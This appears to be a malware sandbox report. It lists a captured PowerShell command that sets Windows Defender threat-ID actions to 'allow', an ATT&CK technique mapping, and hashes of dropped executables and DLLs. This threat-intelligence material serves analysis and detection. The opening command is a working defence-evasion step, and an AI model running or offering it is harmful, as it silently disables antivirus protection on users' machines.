powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
2⤵
PID:5868

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

New Service

T1050

Scheduled Task

T1053

Privilege Escalation

New Service

T1050

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Process Discovery

T1057

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
MD5
71b3d3aff7419f41f7079d6a98dd4b71

SHA1
46c5002b862f917a6ff36057a8393b5508c05ac0

SHA256
696d67be311db74819d6d248c45c2c679bd0cfa8386cc108a108eadfe822d3f5

SHA512
da5264913642a39532f9148b2c25c9dae6219ad5bef854081b69a2d049aa1426060dc1f6ac4834317d6e8f61f87e5330656ae4870f53215177e563ee39d2e62f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
MD5
3c70c46b9af8e86608a0f07f739ad1fb

SHA1
6cccb3e7efa6d30cd5bdb65df467e5fb7eafd10b

SHA256
78ad0aeab10e564b9f845a3483a2065b65753b300649081851d3e2d7e610d897

SHA512
59a950c6bb2271b2b8bcd0d9e736ce6af4074a097b1658f9cd5c816dc60c6624cf61a37bc18a9f05bf33842300010b535959b1a93315dfe7566ccacfaf59f34a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
MD5
2349017001aa13d5c37e445887e20a21

SHA1
6ddb5b3efce8bafcc8e802c22dc50e5fe5cd10f7

SHA256
69c3a544b8d9ccf2da42deee8905111e29c4fc0cd659e3256b2a9d347761d3a8

SHA512
380de8e261a6ac0bd25737e6c001f758f3c191fb7ed1924744715777fd775bcaaa713f70c827e5befdbba3650700848647618b154caa86059bd308cf279c0574

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
MD5
7a497cbb259bacf1e358928d7db03998

SHA1
f68ddc88df10d7bfc0d74a60b2a93ed0ff06a348

SHA256
ed236ec8221d66cd3ddfc2a641cdc576e8eefd1196ba30cc95ec67a2c426f282

SHA512
c2bd7f39f3b4522b68508704d022da0024e5c477f8c688600824101cc560ce4bbdc5f9f698c4aaf62f544e155b7a72158ac83319463b6409d60402bab359c0b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_1.exe
MD5
72ad275d10ff7ead7726ed338d7d289a

SHA1
9abfc439880d6f19c1c6307cd98b60ba2c6e7e29

SHA256
a0907f07a70cf4ebe9ffe525c75f29147211a45568f842c77e6193d3b5e58aad

SHA512
c23892733593b36a4e86e97ef0554f6da833a0b226c30ecf5962809589148230b24490d3b38bf6f1d3fcfc93a2c4d67360e84c1081f3735dfddfe46b7b644d67

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_1.txt
MD5
72ad275d10ff7ead7726ed338d7d289a

SHA1
9abfc439880d6f19c1c6307cd98b60ba2c6e7e29

SHA256
a0907f07a70cf4ebe9ffe525c75f29147211a45568f842c77e6193d3b5e58aad

SHA512
c23892733593b36a4e86e97ef0554f6da833a0b226c30ecf5962809589148230b24490d3b38bf6f1d3fcfc93a2c4d67360e84c1081f3735dfddfe46b7b644d67

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_2.exe
MD5
8c788cefd67592ccc9d1ff51c9766acb

SHA1
da4eac7c28d1baeba06eb31c21393f8356056336

SHA256
64d3219650357787d1377073d30525bf2e7dd0ee05299ff5b835fe2649e6bd79

SHA512
0d9d5f7205920cf408257968c0e091aa388ef63da6e22b603c34084f364b36e5c585a50009d49a59d13bdc614762b5faef4e256cee54811fb4ca1d7fdd6a73ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_2.txt
MD5
8c788cefd67592ccc9d1ff51c9766acb

SHA1
da4eac7c28d1baeba06eb31c21393f8356056336

SHA256
64d3219650357787d1377073d30525bf2e7dd0ee05299ff5b835fe2649e6bd79

SHA512
0d9d5f7205920cf408257968c0e091aa388ef63da6e22b603c34084f364b36e5c585a50009d49a59d13bdc614762b5faef4e256cee54811fb4ca1d7fdd6a73ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_3.exe
MD5
7837314688b7989de1e8d94f598eb2dd

SHA1
889ae8ce433d5357f8ea2aff64daaba563dc94e3

SHA256
d8c28d07c365873b4e8332f057f062e65f2dd0cd4d599fd8b16d82eca5cf4247

SHA512
3df0c24a9f51a82716abb8e87ff44fdb6686183423d1f2f7d6bfb4cd03c3a18490f2c7987c29f3e1b2d25c48d428c2e73033998a872b185f70bb68a7aedb3e7c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_3.txt
MD5
7837314688b7989de1e8d94f598eb2dd

SHA1
889ae8ce433d5357f8ea2aff64daaba563dc94e3

SHA256
d8c28d07c365873b4e8332f057f062e65f2dd0cd4d599fd8b16d82eca5cf4247

SHA512
3df0c24a9f51a82716abb8e87ff44fdb6686183423d1f2f7d6bfb4cd03c3a18490f2c7987c29f3e1b2d25c48d428c2e73033998a872b185f70bb68a7aedb3e7c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_4.exe
MD5
5668cb771643274ba2c375ec6403c266

SHA1
dd78b03428b99368906fe62fc46aaaf1db07a8b9

SHA256
d417bd4de6a5227f5ea5cff3567e74fe2b2a25c0a80123b7b37b27db89adc384

SHA512
135bd12414773cc84270af5225920a01487626528d7bbc2b703be71652265772c2e5488ee3f7e2c53b0b01c617b8c7920e0b457472b6724cfa9ec4c390b0a55a

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_4.txt
MD5
5668cb771643274ba2c375ec6403c266

SHA1
dd78b03428b99368906fe62fc46aaaf1db07a8b9

SHA256
d417bd4de6a5227f5ea5cff3567e74fe2b2a25c0a80123b7b37b27db89adc384

SHA512
135bd12414773cc84270af5225920a01487626528d7bbc2b703be71652265772c2e5488ee3f7e2c53b0b01c617b8c7920e0b457472b6724cfa9ec4c390b0a55a

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_5.exe
MD5
a0b06be5d5272aa4fcf2261ed257ee06

SHA1
596c955b854f51f462c26b5eb94e1b6161aad83c

SHA256
475d0beeadca13ecdfd905c840297e53ad87731dc911b324293ee95b3d8b700b

SHA512
1eb6b9df145b131d03224e9bb7ed3c6cc87044506d848be14d3e4c70438e575dbbd2a0964b176281b1307469872bd6404873974475cd91eb6f7534d16ceff702

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_5.txt
MD5
a0b06be5d5272aa4fcf2261ed257ee06

SHA1
596c955b854f51f462c26b5eb94e1b6161aad83c

SHA256
475d0beeadca13ecdfd905c840297e53ad87731dc911b324293ee95b3d8b700b

SHA512
1eb6b9df145b131d03224e9bb7ed3c6cc87044506d848be14d3e4c70438e575dbbd2a0964b176281b1307469872bd6404873974475cd91eb6f7534d16ceff702

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_6.exe
MD5
b0486bfc2e579b49b0cacee12c52469c

SHA1
ac6eb40cc66eddd0589eb940e6a6ce06b00c7d30

SHA256
9057ba81960258a882dee4335d947f499adabfc59bfd99e2b5f56b508a01fbe2

SHA512
b7f55e346830e2a2ed99bd57bfd0cb66221675a6b0b23d35e5d7fac5eee0c3dfc771eed5fed410c2063410e048fe41765c880ebf0a48137f9135cf1d65951075

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_6.exe
MD5
b0486bfc2e579b49b0cacee12c52469c

SHA1
ac6eb40cc66eddd0589eb940e6a6ce06b00c7d30

SHA256
9057ba81960258a882dee4335d947f499adabfc59bfd99e2b5f56b508a01fbe2

SHA512
b7f55e346830e2a2ed99bd57bfd0cb66221675a6b0b23d35e5d7fac5eee0c3dfc771eed5fed410c2063410e048fe41765c880ebf0a48137f9135cf1d65951075

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_6.txt
MD5
b0486bfc2e579b49b0cacee12c52469c

SHA1
ac6eb40cc66eddd0589eb940e6a6ce06b00c7d30

SHA256
9057ba81960258a882dee4335d947f499adabfc59bfd99e2b5f56b508a01fbe2

SHA512
b7f55e346830e2a2ed99bd57bfd0cb66221675a6b0b23d35e5d7fac5eee0c3dfc771eed5fed410c2063410e048fe41765c880ebf0a48137f9135cf1d65951075

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_7.exe
MD5
c04ec49f084f51d033df6013abbb29f7

SHA1
b56ebfe04c872646aafa43d45f2da2d61ecf624e

SHA256
de939e1fa24047c838e318812291e6d9750d29a4643210f4e35e1544e5dad807

SHA512
ea57eccf64ba49371dcd354ecd26e8a4284d6bd664e49ab8f65f1a50a14b615112fd3478741adccf9a7f50847eed1d3241c1585e66b24756e2d0a21e69da1ab4

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\arnatic_7.txt
MD5
c04ec49f084f51d033df6013abbb29f7

SHA1
b56ebfe04c872646aafa43d45f2da2d61ecf624e

SHA256
de939e1fa24047c838e318812291e6d9750d29a4643210f4e35e1544e5dad807

SHA512
ea57eccf64ba49371dcd354ecd26e8a4284d6bd664e49ab8f65f1a50a14b615112fd3478741adccf9a7f50847eed1d3241c1585e66b24756e2d0a21e69da1ab4

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libcurl.dll
MD5
d09be1f47fd6b827c81a4812b4f7296f

SHA1
028ae3596c0790e6d7f9f2f3c8e9591527d267f7

SHA256
0de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e

SHA512
857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libcurl.dll
MD5
d09be1f47fd6b827c81a4812b4f7296f

SHA1
028ae3596c0790e6d7f9f2f3c8e9591527d267f7

SHA256
0de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e

SHA512
857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libcurlpp.dll
MD5
e6e578373c2e416289a8da55f1dc5e8e

SHA1
b601a229b66ec3d19c2369b36216c6f6eb1c063e

SHA256
43e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f

SHA512
9df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libcurlpp.dll
MD5
e6e578373c2e416289a8da55f1dc5e8e

SHA1
b601a229b66ec3d19c2369b36216c6f6eb1c063e

SHA256
43e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f

SHA512
9df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libgcc_s_dw2-1.dll
MD5
9aec524b616618b0d3d00b27b6f51da1

SHA1
64264300801a353db324d11738ffed876550e1d3

SHA256
59a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e

SHA512
0648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libgcc_s_dw2-1.dll
MD5
9aec524b616618b0d3d00b27b6f51da1

SHA1
64264300801a353db324d11738ffed876550e1d3

SHA256
59a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e

SHA512
0648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libgcc_s_dw2-1.dll
MD5
9aec524b616618b0d3d00b27b6f51da1

SHA1
64264300801a353db324d11738ffed876550e1d3

SHA256
59a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e

SHA512
0648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libstdc++-6.dll
MD5
5e279950775baae5fea04d2cc4526bcc

SHA1
8aef1e10031c3629512c43dd8b0b5d9060878453

SHA256
97de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87

SHA512
666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libstdc++-6.dll
MD5
5e279950775baae5fea04d2cc4526bcc

SHA1
8aef1e10031c3629512c43dd8b0b5d9060878453

SHA256
97de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87

SHA512
666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libwinpthread-1.dll
MD5
1e0d62c34ff2e649ebc5c372065732ee

SHA1
fcfaa36ba456159b26140a43e80fbd7e9d9af2de

SHA256
509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723

SHA512
3653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libwinpthread-1.dll
MD5
1e0d62c34ff2e649ebc5c372065732ee

SHA1
fcfaa36ba456159b26140a43e80fbd7e9d9af2de

SHA256
509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723

SHA512
3653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\setup_install.exe
MD5
3954f57bd92f8eb600960d1f7f052c06

SHA1
216ab522bb43fdc41c233a9dd91dfea522d9b686

SHA256
8d396b9e6827cd520d1d32284f7477c613d3d994a7823d28a724589b1f18b5b5

SHA512
c4182a69208c010bf79e78d725192a1af4cc8dd754197849dc9e4103255f08be468e755db4ba2340c185273057152d76ef738b924ca41e467032292da5f69acc

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\setup_install.exe
MD5
3954f57bd92f8eb600960d1f7f052c06

SHA1
216ab522bb43fdc41c233a9dd91dfea522d9b686

SHA256
8d396b9e6827cd520d1d32284f7477c613d3d994a7823d28a724589b1f18b5b5

SHA512
c4182a69208c010bf79e78d725192a1af4cc8dd754197849dc9e4103255f08be468e755db4ba2340c185273057152d76ef738b924ca41e467032292da5f69acc

Download Submit
C:\Users\Admin\AppData\Local\Temp\CC4F.tmp
MD5
4f3387277ccbd6d1f21ac5c07fe4ca68

SHA1
e16506f662dc92023bf82def1d621497c8ab5890

SHA256
767a3fc4a7a6818cdc3f0b99aaa95db694f6bcde719d2057a88b3d4df3d74fac

SHA512
9da199ac69e3c0d4e0c6307e0ab8178f12cc25cb2f14c3511f6b64e6e60a925c860f3263cb38353a97b55a71ef4d27f8cb7fa3cfc08e7c1a349fd8d209dfa219

Download Submit
C:\Users\Admin\AppData\Local\Temp\axhub.dat
MD5
13abe7637d904829fbb37ecda44a1670

SHA1
de26b60d2c0b1660220caf3f4a11dfabaa0e7b9f

SHA256
7a20b34c0f9b516007d40a570eafb782028c5613138e8b9697ca398b0b3420d6

SHA512
6e02ca1282f3d1bbbb684046eb5dcef412366a0ed2276c1f22d2f16b978647c0e35a8d728a0349f022295b0aba30139b2b8bb75b92aa5fdcc18aae9dcf357d77

Download Submit
C:\Users\Admin\AppData\Local\Temp\axhub.dll
MD5
89c739ae3bbee8c40a52090ad0641d31

SHA1
d0f7dc9a0a3e52af0f9f9736f26e401636c420a1

SHA256
10a122bd647c88aa23f96687e26b251862e83be9dbb89532f4a578689547972d

SHA512
cc5059e478e5f469fde39e4119ee75eed7066f2a2069590cb5046e478b812f87ab1fc21dcfe44c965061fa4f9f83d6a14accf0c0e9b2406ae51504d06a3f6480

Download Submit
C:\Users\Admin\AppData\Local\Temp\axhub.dll
MD5
89c739ae3bbee8c40a52090ad0641d31

SHA1
d0f7dc9a0a3e52af0f9f9736f26e401636c420a1

SHA256
10a122bd647c88aa23f96687e26b251862e83be9dbb89532f4a578689547972d

SHA512
cc5059e478e5f469fde39e4119ee75eed7066f2a2069590cb5046e478b812f87ab1fc21dcfe44c965061fa4f9f83d6a14accf0c0e9b2406ae51504d06a3f6480

Download Submit
C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
MD5
b7161c0845a64ff6d7345b67ff97f3b0

SHA1
d223f855da541fe8e4c1d5c50cb26da0a1deb5fc

SHA256
fe9e28ff0b652e22a124b0a05382bc1ac48cbd9c7c76ca647b0c9f8542888f66

SHA512
98d8971ff20ba256cf886a9db416ac9366d2c6ad4ff51a65bd7e539974dc93f4c897f92d8c9c0319c69b27eacf05cd350a0302828e63190b03457a0eda57f680

Download Submit
C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
MD5
e734acc3edade1cf90f3ccf16c73fb03

SHA1
29fe4b3d9952352ebfe8bcb858894c36d53e405b

SHA256
9867bf322536df92b5752e37ec9a88a909e81e18f947acbb8cba6b9a4c95fb20

SHA512
bc991b32b783749a869585746ddc6f61371ba684733e5d62a17e15a734c3cfd3f4f0c1fd64d9eb4ccd31a0ea309e7f3df96bf882e2ddef5c2cf2c69c8c793014

Download Submit
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
MD5
7fee8223d6e4f82d6cd115a28f0b6d58

SHA1
1b89c25f25253df23426bd9ff6c9208f1202f58b

SHA256
a45317c374d54e322153afd73f0e90f1486638d77b7fd85746d091071bbecd59

SHA512
3ed900b83dd178637c2fd4e8444a899f17f12c4ec92a6f4de4fe544fe8d41b521c69b8f348343cb397d0e160f23e27429042d758b5fa5acac0bab5c3584bace4

Download Submit
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
MD5
7fee8223d6e4f82d6cd115a28f0b6d58

SHA1
1b89c25f25253df23426bd9ff6c9208f1202f58b

SHA256
a45317c374d54e322153afd73f0e90f1486638d77b7fd85746d091071bbecd59

SHA512
3ed900b83dd178637c2fd4e8444a899f17f12c4ec92a6f4de4fe544fe8d41b521c69b8f348343cb397d0e160f23e27429042d758b5fa5acac0bab5c3584bace4

Download Submit
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
MD5
a6279ec92ff948760ce53bba817d6a77

SHA1
5345505e12f9e4c6d569a226d50e71b5a572dce2

SHA256
8b581869bf8944a8e0aa169adea2a4afe47434123da477132880aff6a5032181

SHA512
213cb374f1273c899e0c88a20c0101a7c28024ce5046a2e0d7898bd182d918288bb80367fea4454c437c057ff9ed4fffd42be48a13ca73653021a6d63e1cfa9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
MD5
a6279ec92ff948760ce53bba817d6a77

SHA1
5345505e12f9e4c6d569a226d50e71b5a572dce2

SHA256
8b581869bf8944a8e0aa169adea2a4afe47434123da477132880aff6a5032181

SHA512
213cb374f1273c899e0c88a20c0101a7c28024ce5046a2e0d7898bd182d918288bb80367fea4454c437c057ff9ed4fffd42be48a13ca73653021a6d63e1cfa9c

Download Submit
C:\Users\Admin\Documents\8dDZAD1a1JKkGSppPRwNPtVB.exe
MD5
6817e893a00b534fb3d936a2a16da2b1

SHA1
b91f5ff23a27cfda0f57e788913942183ce45772

SHA256
e53845a73c55f86fe6fc276f97bfeb8b366bf1e7b8cb72e55fc8472362ab7c5c

SHA512
c174e4b31f4742c764a9fd25bad12ed35aa941d6ac0ece9bfb90767f890d9520eebf78e83c40a68274ca0f8987fd0574856b8975aab8160ec3fb4690f78b54db

Download Submit
C:\Users\Admin\Documents\8dDZAD1a1JKkGSppPRwNPtVB.exe
MD5
6817e893a00b534fb3d936a2a16da2b1

SHA1
b91f5ff23a27cfda0f57e788913942183ce45772

SHA256
e53845a73c55f86fe6fc276f97bfeb8b366bf1e7b8cb72e55fc8472362ab7c5c

SHA512
c174e4b31f4742c764a9fd25bad12ed35aa941d6ac0ece9bfb90767f890d9520eebf78e83c40a68274ca0f8987fd0574856b8975aab8160ec3fb4690f78b54db

Download Submit
C:\Users\Admin\Documents\BdWYu5sAikxS5yT1meW0Jm8R.exe
MD5
b5786ba43f74847fb464f3e4c61b2f1a

SHA1
18a1cdbe72301c40b8c7edcf93f988ffbd96d4af

SHA256
548ba1f0793f18ad70fa7efaf7295d97c68e44094de7c1cd20d850fe968401a0

SHA512
c9392c4e66c17b1efc1732ed43a2b71688b9dd36003dee368db8aabd06043846bb9305873b1e1bbabecc22a58912071d4743d0923cd053b1843f11f164cc0a00

Download Submit
C:\Users\Admin\Documents\BdWYu5sAikxS5yT1meW0Jm8R.exe
MD5
b5786ba43f74847fb464f3e4c61b2f1a

SHA1
18a1cdbe72301c40b8c7edcf93f988ffbd96d4af

SHA256
548ba1f0793f18ad70fa7efaf7295d97c68e44094de7c1cd20d850fe968401a0

SHA512
c9392c4e66c17b1efc1732ed43a2b71688b9dd36003dee368db8aabd06043846bb9305873b1e1bbabecc22a58912071d4743d0923cd053b1843f11f164cc0a00

Download Submit
C:\Users\Admin\Documents\I0HVqVuv8zfp07lXD_1k1Tfk.exe
MD5
266a1335f73ff12584a5d1d2e65b8be7

SHA1
35a6d1593a0ff74f209de0f294cd7b7cd067c14c

SHA256
316a7cea264e8cc29efe6dc3def98eeff7c42138ceba126127dc8228a119cfee

SHA512
35bdc71211656abaf05cde978594b5d0ad11d154851d90adc80fb96e1c737682561e82615024453bf6f483cb7bf451bd604993343e3bfb2d369deef25d1e4361

Download Submit
C:\Users\Admin\Documents\I0HVqVuv8zfp07lXD_1k1Tfk.exe
MD5
266a1335f73ff12584a5d1d2e65b8be7

SHA1
35a6d1593a0ff74f209de0f294cd7b7cd067c14c

SHA256
316a7cea264e8cc29efe6dc3def98eeff7c42138ceba126127dc8228a119cfee

SHA512
35bdc71211656abaf05cde978594b5d0ad11d154851d90adc80fb96e1c737682561e82615024453bf6f483cb7bf451bd604993343e3bfb2d369deef25d1e4361

Download Submit
C:\Users\Admin\Documents\LLCHGZN0EAT2njwMyt6Cd4QN.exe
MD5
c4729b22af5fddb503601f0819709e32

SHA1
0d27d046eb78c188c1eccfd1d0654a8262d97aab

SHA256
fb2b6caaeb56477df79dc728f7e4f5547f2c29d9bbf1d4c230da23c5603f22b4

SHA512
83d434b1e6265097462807536811dae19f9fb7c3760bff11e6da7715208846f4d06c5aec6434ff9159be7e8ec8b0bebac8de9d58a490fe13312ab1f81aaef4c0

Download Submit
C:\Users\Admin\Documents\LLCHGZN0EAT2njwMyt6Cd4QN.exe
MD5
c4729b22af5fddb503601f0819709e32

SHA1
0d27d046eb78c188c1eccfd1d0654a8262d97aab

SHA256
fb2b6caaeb56477df79dc728f7e4f5547f2c29d9bbf1d4c230da23c5603f22b4

SHA512
83d434b1e6265097462807536811dae19f9fb7c3760bff11e6da7715208846f4d06c5aec6434ff9159be7e8ec8b0bebac8de9d58a490fe13312ab1f81aaef4c0

Download Submit
C:\Users\Admin\Documents\P6ZHW7ui9iFiz7ezxJe47fsJ.exe
MD5
f58a4a3e29618ab505e21f365a431b35

SHA1
b8c799d77ed942afc7ad3e6b09e7b4f4969d28e6

SHA256
82c261830fa232ffb2f4fae07feef14df9f257358519aff0fed0c8fff470abb8

SHA512
31765baf243256a33a2ed600099aa8c8852b3ef40de60c876d3c8836eba9b5c6c83ff5a51c36c599d59a66b775ff10ba193527aa1334371887a6a7642b40a44e

Download Submit
C:\Users\Admin\Documents\XKNlY0FXPo5qa1LVczpoFkoR.exe
MD5
f5679d1dd9ad96356b75f940d72eada0

SHA1
21c765aa24d0d359b8bbf721f5d8a328eabd616a

SHA256
970b7721edc89b2f0baff45d90296cb0dd892776d2102c8f498de9fc5c61db8b

SHA512
f83341934aa4a2d989eef81533337d98e4d9329dd0bb9659de0edb2ade8838e9f3496f2e1b9bc4d323322356a8ab586866999f43c4a4af89a3ed09b8c84c8a5c

Download Submit
